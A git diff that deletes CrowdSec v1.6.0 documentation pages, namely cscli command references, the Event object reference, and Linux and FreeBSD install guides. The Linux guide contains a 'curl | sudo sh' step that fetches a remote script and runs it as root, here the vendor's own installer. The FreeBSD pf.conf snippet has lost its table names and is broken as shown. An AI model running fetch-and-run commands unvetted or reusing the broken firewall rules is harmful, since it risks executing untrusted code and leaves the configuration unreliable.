@@ -1,48 +0,0 @@
----
-id: cscli_appsec-rules_remove
-title: cscli appsec-rules remove
----
-## cscli appsec-rules remove
-
-Remove given appsec-rule(s)
-
-### Synopsis
-
-Remove one or more appsec-rules
-
-```
-cscli appsec-rules remove [item]... [flags]
-```
-
-### Examples
-
-```
-cscli appsec-rules remove crowdsecurity/crs
-```
-
-### Options
-
-```
- --all Remove all the appsec-rules
- --force Force remove: remove tainted and outdated files
- -h, --help help for remove
- --purge Delete source file too
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_upgrade.md
deleted file mode 100644
index a63775a85..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_upgrade.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-id: cscli_appsec-rules_upgrade
-title: cscli appsec-rules upgrade
----
-## cscli appsec-rules upgrade
-
-Upgrade given appsec-rule(s)
-
-### Synopsis
-
-Fetch and upgrade one or more appsec-rules from the hub
-
-```
-cscli appsec-rules upgrade [item]... [flags]
-```
-
-### Examples
-
-```
-cscli appsec-rules upgrade crowdsecurity/crs
-```
-
-### Options
-
-```
- -a, --all Upgrade all the appsec-rules
- --force Force upgrade: overwrite tainted and outdated files
- -h, --help help for upgrade
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_remove.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_remove.md
deleted file mode 100644
index 5550b6877..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_remove.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-id: cscli_collections_remove
-title: cscli collections remove
----
-## cscli collections remove
-
-Remove given collection(s)
-
-### Synopsis
-
-Remove one or more collections
-
-```
-cscli collections remove [item]... [flags]
-```
-
-### Examples
-
-```
-cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables
-```
-
-### Options
-
-```
- --all Remove all the collections
- --force Force remove: remove tainted and outdated files
- -h, --help help for remove
- --purge Delete source file too
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli collections](/cscli/cscli_collections.md) - Manage hub collections
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_upgrade.md
deleted file mode 100644
index db2bcceff..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_collections_upgrade.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-id: cscli_collections_upgrade
-title: cscli collections upgrade
----
-## cscli collections upgrade
-
-Upgrade given collection(s)
-
-### Synopsis
-
-Fetch and upgrade one or more collections from the hub
-
-```
-cscli collections upgrade [item]... [flags]
-```
-
-### Examples
-
-```
-cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables
-```
-
-### Options
-
-```
- -a, --all Upgrade all the collections
- --force Force upgrade: overwrite tainted and outdated files
- -h, --help help for upgrade
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli collections](/cscli/cscli_collections.md) - Manage hub collections
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_backup.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_backup.md
deleted file mode 100644
index 950c65165..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_backup.md
+++ /dev/null
@@ -1,52 +0,0 @@
----
-id: cscli_config_backup
-title: cscli config backup
----
-## cscli config backup
-
-Backup current config
-
-### Synopsis
-
-Backup the current crowdsec configuration including :
-
-- Main config (config.yaml)
-- Simulation config (simulation.yaml)
-- Profiles config (profiles.yaml)
-- List of scenarios, parsers, postoverflows and collections that are up-to-date
-- Tainted/local/out-of-date scenarios, parsers, postoverflows and collections
-- Backup of API credentials (local API and online API)
-
-```
-cscli config backup "directory" [flags]
-```
-
-### Examples
-
-```
-cscli config backup ./my-backup
-```
-
-### Options
-
-```
- -h, --help help for backup
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli config](/cscli/cscli_config.md) - Allows to view current config
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_restore.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_restore.md
deleted file mode 100644
index bb65757dc..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_config_restore.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-id: cscli_config_restore
-title: cscli config restore
----
-## cscli config restore
-
-Restore config in backup "directory"
-
-### Synopsis
-
-Restore the crowdsec configuration from specified backup "directory" including:
-
-- Main config (config.yaml)
-- Simulation config (simulation.yaml)
-- Profiles config (profiles.yaml)
-- List of scenarios, parsers, postoverflows and collections that are up-to-date
-- Tainted/local/out-of-date scenarios, parsers, postoverflows and collections
-- Backup of API credentials (local API and online API)
-
-```
-cscli config restore "directory" [flags]
-```
-
-### Options
-
-```
- -h, --help help for restore
- --old-backup To use when you are upgrading crowdsec v0.X to v1.X and you need to restore backup from v0.X
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli config](/cscli/cscli_config.md) - Allows to view current config
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_install.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_install.md
deleted file mode 100644
index eadc599ee..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_install.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-id: cscli_contexts_install
-title: cscli contexts install
----
-## cscli contexts install
-
-Install given context(s)
-
-### Synopsis
-
-Fetch and install one or more contexts from the hub
-
-```
-cscli contexts install [item]... [flags]
-```
-
-### Examples
-
-```
-cscli contexts install crowdsecurity/yyy crowdsecurity/zzz
-```
-
-### Options
-
-```
- -d, --download-only Only download packages, don't enable
- --force Force install: overwrite tainted and outdated files
- -h, --help help for install
- --ignore Ignore errors when installing multiple contexts
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_remove.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_remove.md
deleted file mode 100644
index 9ca52a0b6..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_remove.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-id: cscli_contexts_remove
-title: cscli contexts remove
----
-## cscli contexts remove
-
-Remove given context(s)
-
-### Synopsis
-
-Remove one or more contexts
-
-```
-cscli contexts remove [item]... [flags]
-```
-
-### Examples
-
-```
-cscli contexts remove crowdsecurity/yyy crowdsecurity/zzz
-```
-
-### Options
-
-```
- --all Remove all the contexts
- --force Force remove: remove tainted and outdated files
- -h, --help help for remove
- --purge Delete source file too
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_upgrade.md
deleted file mode 100644
index 986967f06..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_upgrade.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-id: cscli_parsers_upgrade
-title: cscli parsers upgrade
----
-## cscli parsers upgrade
-
-Upgrade given parser(s)
-
-### Synopsis
-
-Fetch and upgrade one or more parsers from the hub
-
-```
-cscli parsers upgrade [item]... [flags]
-```
-
-### Examples
-
-```
-cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs
-```
-
-### Options
-
-```
- -a, --all Upgrade all the parsers
- --force Force upgrade: overwrite tainted and outdated files
- -h, --help help for upgrade
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli parsers](/cscli/cscli_parsers.md) - Manage hub parsers
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_remove.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_remove.md
deleted file mode 100644
index 4670d0b73..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_remove.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-id: cscli_postoverflows_remove
-title: cscli postoverflows remove
----
-## cscli postoverflows remove
-
-Remove given postoverflow(s)
-
-### Synopsis
-
-Remove one or more postoverflows
-
-```
-cscli postoverflows remove [item]... [flags]
-```
-
-### Examples
-
-```
-cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns
-```
-
-### Options
-
-```
- --all Remove all the postoverflows
- --force Force remove: remove tainted and outdated files
- -h, --help help for remove
- --purge Delete source file too
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli postoverflows](/cscli/cscli_postoverflows.md) - Manage hub postoverflows
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_upgrade.md
deleted file mode 100644
index 0cb1749d4..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_postoverflows_upgrade.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-id: cscli_postoverflows_upgrade
-title: cscli postoverflows upgrade
----
-## cscli postoverflows upgrade
-
-Upgrade given postoverflow(s)
-
-### Synopsis
-
-Fetch and upgrade one or more postoverflows from the hub
-
-```
-cscli postoverflows upgrade [item]... [flags]
-```
-
-### Examples
-
-```
-cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdns
-```
-
-### Options
-
-```
- -a, --all Upgrade all the postoverflows
- --force Force upgrade: overwrite tainted and outdated files
- -h, --help help for upgrade
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli postoverflows](/cscli/cscli_postoverflows.md) - Manage hub postoverflows
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_remove.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_remove.md
deleted file mode 100644
index 49ad5a343..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_remove.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-id: cscli_scenarios_remove
-title: cscli scenarios remove
----
-## cscli scenarios remove
-
-Remove given scenario(s)
-
-### Synopsis
-
-Remove one or more scenarios
-
-```
-cscli scenarios remove [item]... [flags]
-```
-
-### Examples
-
-```
-cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing
-```
-
-### Options
-
-```
- --all Remove all the scenarios
- --force Force remove: remove tainted and outdated files
- -h, --help help for remove
- --purge Delete source file too
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli scenarios](/cscli/cscli_scenarios.md) - Manage hub scenarios
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_upgrade.md
deleted file mode 100644
index d6c58d556..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_upgrade.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-id: cscli_scenarios_upgrade
-title: cscli scenarios upgrade
----
-## cscli scenarios upgrade
-
-Upgrade given scenario(s)
-
-### Synopsis
-
-Fetch and upgrade one or more scenarios from the hub
-
-```
-cscli scenarios upgrade [item]... [flags]
-```
-
-### Examples
-
-```
-cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing
-```
-
-### Options
-
-```
- -a, --all Upgrade all the scenarios
- --force Force upgrade: overwrite tainted and outdated files
- -h, --help help for upgrade
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli scenarios](/cscli/cscli_scenarios.md) - Manage hub scenarios
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/event.md b/crowdsec-docs/versioned_docs/version-v1.6.0/expr/event.md
deleted file mode 100644
index d2b7bd0df..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/event.md
+++ /dev/null
@@ -1,56 +0,0 @@
----
-id: event
-title: Event
-sidebar_position: 2
----
-
-An `Event` is the runtime representation of an item being processed by crowdsec, it can be:
-
- - a log line being parsed
-
- - an overflow being reprocessed
-
-
-The `Event` object is modified by parsers, scenarios, and directly via user statics expressions (for example).
-
-The representation of the object can be found here :
-
-[Event object documentation](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#Event)
-
-## LOG relevant fields
-
- - `Type` is `types.LOG`
- - `Whitelisted` : if `true` the LOG or OVFLW will be dropped
- - `Line` : representation of the raw line
- - `Raw` : the raw line representation
- - `Src` : a label for the source
- - `Time` : acquisition timestamp
- - `Labels` : the static labels (from acquis.yaml) associated to the source
- - `Process`: if set to false, processing of line will stop
- - `Parsed` : a `map[string]string` that can be used during parsing and enrichment. This is where GROK patterns will output their captures by default
- - `Enriched` : a `map[string]string` that can be used during parsing and enrichment. This is where enrichment functions will output their captures by default
- - `Meta` : a `map[string]string` that can be used to store *important* information about a log. This map is serialized into DB when storing event.
- - `Overflow` : representation of an Overflow if `Type` is set to `OVFLW`
- - `Time` : processing timestamp
- - `StrTime` : string representation of log timestamp. Can be set by parsers that capture timestamp in logs. Will be automatically processed by `crowdsecurity/dateparse-enrich` when processing logs in forensic mode to set `MarshaledTime`
- - `MarshaledTime` : if non-empty, the event's timestamp that will be used when processing buckets (for forensic mode)
-
-## OVERFLOW relevant fields
-
- - `Type` is `types.OVFLW`
- - `Whitelisted` : if `true` the LOG or OVFLW will be dropped
- - `Overflow` : representation of an Overflow if `Type` is set to `OVFLW`
- - `Time` : processing timestamp
- - `StrTime` : string representation of log timestamp. Can be set by parsers that capture timestamp in logs. Will be automatically processed by `crowdsecurity/dateparse-enrich` when processing logs in forensic mode to set `MarshaledTime`
- - `MarshaledTime` : if non-empty, the event's timestamp that will be used when processing buckets (for forensic mode)
- - `Overflow` :
- - `Whitelisted` : if true the OVFLW will be dropped
- - `Reprocess` : if true, the OVFLOW will be reprocessed (inference)
- - `Sources` : a `map[string]models.Source` representing the distinct sources that triggered the overflow, with their types and values. The key of the map is the IP address.
- - `Alert` and `APIAlerts` : representation of the signals that will be sent to LAPI.
-
-[Here](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#RuntimeAlert) is full `evt.Overflow` object representation.
-
-## Source
-
-[Here](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/models#Source) is the representation of a `models.Source` object.
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/getting_started.md b/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/getting_started.md
deleted file mode 100644
index 17c415256..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/getting_started.md
+++ /dev/null
@@ -1,79 +0,0 @@
----
-id: getting_started
-title: Getting Started
----
-
-import AcademyPromo from '@site/src/components/academy-promo';
-
-Welcome to CrowdSec!
-
-In this section, you'll be taken through the process of creating a console account, with the initial step being the installation of the Security Engine, followed by the deployment of your first Remediation Component.
-
-## Creating a console account
-
-To embark on your CrowdSec journey, the optimal starting point is to set up a console account, as it grants you access to complimentary features that seamlessly integrate with your Security Engine.
-
-The CrowdSec console serves as a web-based interface enabling you to conveniently monitor all your CrowdSec instances from a centralized hub. To get started, simply [sign up here](https://app.crowdsec.net/signup).
-
-## Deploy
-
-### Walkthrough
-
-If you prefer a guided, step-by-step video tutorial for installing the Security Engine in a sandbox environment, please refer to our comprehensive guide.
-
-
-
-
-
-or follow the steps below.
-
-### Security Engine
-
-:::info
-In our updated documentation, we now refer to CrowdSec as the "Security Engine" and Bouncers as "Remediation Components" to better describe their roles in the ecosystem.
-:::
-
-#### Prerequisites
-
-The Security Engine by default uses the following ports:
-
-- 8080/tcp for the API
-- 6060/tcp for the Prometheus metrics / Debugging
-
-If these ports are not available on your system, you can change them in the configuration file post installation. See [Configuration](/configuration/crowdsec_configuration.md) for more information.
-
-Please note that the API is mandatory for your security engine, do not remove it from your configuration.
-
-#### Using the repository
-
-For the most straightforward installation of the Security Engine, utilize the official repository, guaranteeing you'll constantly have the latest version.
-
-Please see the relevant documentation for your OS:
-
-- [Linux](/getting_started/install.mdx)
-- [FreeBSD](/getting_started/install_freebsd.md)
-- [Windows](/getting_started/getting_started_on_windows.md)
-
-#### Installing from source
-
-Should you opt for a source-based installation, you can follow the steps outlined [here](/getting_started/install_source.mdx).
-
-### Remediation Component
-
-After installing the Security Engine, you can proceed to install a Remediation Component, which is responsible for executing actions based on the decisions made by the Security Engine.
-
-The specific Remediation Component to install may vary based on your network and operating system configuration.
-
-If you are uncertain about which one to install, please refer to our [Remediation Components](/u/bouncers/intro) section or join our [Discord](https://discord.gg/crowdsec) and ask our community.
-
-## Enroll
-
-Since you created your account on the CrowdSec console, you can now [enroll your Security Engine to your account](https://app.crowdsec.net/security-engines?enroll-engine=true).
-
-To do so, you can find steps outlined [here](/u/getting_started/post_installation/console/#engines-page).
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install.mdx b/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install.mdx
deleted file mode 100644
index f30a73490..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install.mdx
+++ /dev/null
@@ -1,104 +0,0 @@
----
-id: install_crowdsec
-title: Linux
-sidebar_position: 1
----
-
-import Tabs from '@theme/Tabs';
-import TabItem from '@theme/TabItem';
-import CodeBlock from '@theme/CodeBlock';
-
-For those that prefer hands-on approach, you can as well [manually install crowdsec](/getting_started/install_source.mdx).
-
-## Install our repositories
-
-Installing our repositories allows you to access the latest packages of the Security Engine and Remediation Components.
-
-:::info
-We are using [packagecloud.io service](https://packagecloud.io/crowdsec/crowdsec/).
-While `curl | sudo shell` can be convenient for some, [alternative installation methods are available](https://packagecloud.io/crowdsec/crowdsec/install#manual).
-:::
-
-```bash
-curl -s https://install.crowdsec.net | sudo sh
-```
-
-
-## Install the Security Engine
-
-Before installing the package, you might want to check [the ports that will be used](/docs/next/configuration/network_management).
-
-
-
- apt install crowdsec
-
-
-
- yum install crowdsec
-
-
-
- dnf install crowdsec
-
-
-
- yum install crowdsec
-
-
-
- opkg install crowdsec
-
-
-
- yum install crowdsec
-
-
-
-You now have the Security Engine running ! You can move forward and install a [remediation component](/u/bouncers/intro), or take a [tour](/getting_started/crowdsec_tour.mdx) of the software beforehand !
-
-Directories:
-
-* The application lives in the folder `/etc/crowdsec`.
-* The data is stored in the folder `/var/lib/crowdsec/data`.
-
-
-## Remediation Component
-
-:::caution
-
-Keep in mind that a CrowdSec package is only in charge of the "detection", and won't block anything on its own.
-You need to deploy a [Remediation Component](/u/bouncers/intro) to enforce decisions.
-
-:::
-
-## Enrolling your instance
-
-The next step is to enroll your instance with the [CrowdSec Console](https://app.crowdsec.net/security-engines?enroll-engine=true).
-
-For the benefits, please visit the [Console section](/u/console/intro).
-
-## Running CrowdSec on Raspberry Pi OS/Raspbian
-
-Please keep in mind that Raspberry Pi OS is designed to work on all
-Raspberry Pi versions. Even if the port target is known as armhf, it's
-not exactly the same target as the debian named armhf port.
-
-The best way to have a CrowdSec version for such an architecture is to
-do:
-
-1. install golang (all versions from 1.20 will do)
-2. `export GOARCH=arm`
-3. `export CGO=1`
-4. Update the GOARCH variable in the Makefile to `arm`
-5. install the arm gcc cross compiler (On debian the package is gcc-arm-linux-gnueabihf)
-6. Compile CrowdSec using the usual `make` command
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_freebsd.md b/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_freebsd.md
deleted file mode 100644
index f1a214417..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/install_freebsd.md
+++ /dev/null
@@ -1,145 +0,0 @@
----
-id: install_crowdsec_freebsd
-title: FreeBSD
-sidebar_position: 1
----
-
-## Configuring the repositories
-
-FreeBSD packages are available in the official repositories.
-
-By default, the command `pkg install` should use the quarterly releases (January, April, July and October, updated with security fixes).
-
-You can check `/etc/pkg/FreeBSD.conf` and [change **quarterly** to **latest**](https://wiki.freebsd.org/Ports/QuarterlyBranch) if you feel comfortable upgrading your system.
-
-
-## Install the Security Engine
-
-Before installing the package, you might want to check [the ports that security engine will use](/docs/next/configuration/network_management).
-
-The CrowdSec package itself can be installed with:
-
-```shell
-$ sudo pkg install crowdsec
-```
-
-If the command installs the legacy v1.1.1, you will have a couple more steps to do, please have a look at the [related blog post](https://docs.crowdsec.net/blog/crowdsec_firewall_freebsd/).
-
-You'll see a message that tells you how to activate the agent:
-
-```shell
-$ sudo sysrc crowdsec_enable="YES"
-crowdsec_enable: -> YES
-$ sudo service crowdsec start
-Fetching hub inventory
-INFO[21-12-2021 03:13:35 PM] Wrote new 197364 bytes index to /usr/local/etc/crowdsec/hub/.index.json
-[...]
-```
-
-The service registers itself with the Central API on crowdsec.net, updates the plugin registry and downloads the "crowdsecurity/freebsd" collection of plugins.
-This includes, for instance, a parsers for sshd logs and a database to correlate IP addresses with geographical information.
-
-As opposed to its Linux counterparts, the FreeBSD package does not automatically detect the software that is running on the machine; please refer
-to our documentation to add parsers, scenarios and more.
-
-:::caution
-Keep in mind that the crowdsec package is only in charge of the "detection", and won't block anything on its own.
-You need to deploy a [bouncer](/u/bouncers/intro) to "apply" decisions.
-:::
-
-
-If all this sounds confusing, it might be a good moment to take a [tour](/getting_started/crowdsec_tour.mdx) of the software before continuing.
-
-## Installing the firewall remediation component
-
-This is a package that receives decisions to ban IP addresses and whole address ranges, if they are the source of verified attacks.
-
-To install and enable it:
-
-```shell
-$ sudo pkg install crowdsec-firewall-bouncer
-[...]
-$ sudo sysrc crowdsec_firewall_enable=YES
-crowdsec_firewall_enable: -> YES
-$ sudo service crowdsec_firewall start
-Registered: cs-firewall-bouncer-ZjpcXlUx
-```
-
-
-The firewall remediation component is now running. It applies rules via the [Packet Filter](https://docs.freebsd.org/en/books/handbook/firewalls/#firewalls-pf).
-
-Create the required tables by creating or appending this to `/etc/pf.conf`:
-
-```
-table persist
-table persist
-block drop in quick from to any
-block drop in quick from to any
-```
-
-If Packet Filter is not enabled, you can do it now:
-
-```shell
-$ sudo sysrc pf_enable=YES
-pf_enable: NO -> YES
-$ sudo service pf start
-Enabling pf.
-```
-
-Reload the rules with:
-
-```shell
-$ sudo pfctl -f /etc/pf.conf
-```
-
-You can check the configuration with:
-
-```shell
-$ sudo pfctl -sr
-block drop in quick from to any
-block drop in quick from to any
-$ sudo service pf check
-Checking pf rules.
-$ sudo service pf status
-Status: Enabled for 0 days 00:00:02 Debug: Urgent
-[...]
-```
-
-:::info
-While we are suggesting the most common firewall bouncer, check our [hub](https://hub.crowdsec.net) for more of them.
-Find a bouncer directly for your application ([nginx](https://hub.crowdsec.net/author/crowdsecurity/bouncers/cs-nginx-bouncer), [php](https://github.com/crowdsecurity/php-cs-bouncer), [wordpress](https://hub.crowdsec.net/author/crowdsecurity/bouncers/cs-wordpress-bouncer)) or your providers ([cloudflare](https://hub.crowdsec.net/author/crowdsecurity/bouncers/cs-cloudflare-bouncer), [AWS/GCP/...](https://hub.crowdsec.net/author/fallard84/bouncers/cs-cloud-firewall-bouncer))
-:::
-
-
-## Building from sources
-
-Another option - and the only one if you have a [Tier-2 or unsupported platform](https://www.freebsd.org/platforms/) whose binaries are harder to find
-or seldom updated - is to build the packages yourself by using our FreeBSD ports.
-
-If you are not familiar with how ports work, be aware that mixing ports and binary packages might break your system.
-Please read [the FreeBSD documentation](https://docs.freebsd.org/en/books/handbook/ports/#ports-using) and decide for yourself if it's the best method for your case.
-
-If you are already familiar with ports, running `make install` in `/usr/ports/security/crowdsec` and `/usr/ports/security/crowdsec-firewall-bouncer`
-will compile and install the packages and all their dependencies. Then configure them as you would normally do with `pkg install`.
-
-
-## Troubleshooting
-
-In some cases, CrowdSec is unable to generate the machine id and is unable to initialize properly.
-
-We saw it happen with an APU board, likely due to the open source coreboot firmware.
-
-Start `hostid` and `hostid_save`:
-
-```
-/etc/rc.d/hostid start
-/etc/rc.d/hostid_save start
-```
-
-Then start again the CrowdSec' service `service crowdsec start`.
-
-## Enrolling your instance
-
-The next step is to enroll your instance with the [CrowdSec Console](https://app.crowdsec.net/security-engines?enroll-engine=true).
-
-For the benefits, please visit the [Console section](/u/console/intro).
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/intro.md b/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/intro.md
deleted file mode 100644
index 75f18d290..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/getting_started/intro.md
+++ /dev/null
@@ -1,23 +0,0 @@
----
-id: security_engine_intro
-title: Introduction
-sidebar_position: 1
----
-
-# Security Engine
-
-:::info
-You may see Security Engine referred to as "agent" in the documentation/videos and "machines" within cscli commands.
-:::
-
-The Security Engine is a core component of CrowdSec. It is the component that will analyze logs and will expose an API endpoint for the remediation components to get the decisions made by the engine.
-
-## Supported Platforms
-
-See [Version Matrix](/getting_started/versions_matrix.md) for a list of supported platforms.
-
-## Why is my Security Engine classed as a "log processor" within the console?
-
